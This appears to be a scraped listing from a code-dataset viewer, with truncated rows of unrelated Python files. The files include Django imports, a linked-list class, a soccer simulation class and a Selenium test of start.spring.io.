from django.contrib.auth.decorators import login_required
from django.http import HttpResponse, JsonResponse
import clients.models as clients
import directory.models as directory
from appconf.manager impor... |
11,997 | 07a7d586e0410ba707e8e966b3a73d2bef359959 | '''
Created on 09.01.2012
@author: desales
'''
class Node:
cargo = None
nnext = None
def __init__(self, cargo):
self.cargo = cargo
def __str__(self):
return "<Node: %s>" % self.cargo
class LinkedList:
firstNode = None
#-----------------------... |
11,998 | 271b1ad8ea535102167c19a1f7ce375322cc8b96 | #!/usr/bin/python
# -*- coding: utf-8 -*-
"""Soccer Goal Definition.
TODO:
"""
from rendering.examples.dynamics.particle import Particle
from geometry.vector import Vec2d
from rendering.examples.soccer.dynamics.SteeringBehaviours import SteeringBehaviours
from geometry.point import Point
from rendering.base import C... |
11,999 | 55f376fe8b9deb59b59313d28ccee244f335dd26 | import unittest
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import os
from os import path
import time
import zipfile
import shutil
import xml.etree.ElementTree as ET
test_url = "https://start.spring.io/"
download_dir = '/home/student/Downloads/selenium/'
artifact_name = 'my_ko... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.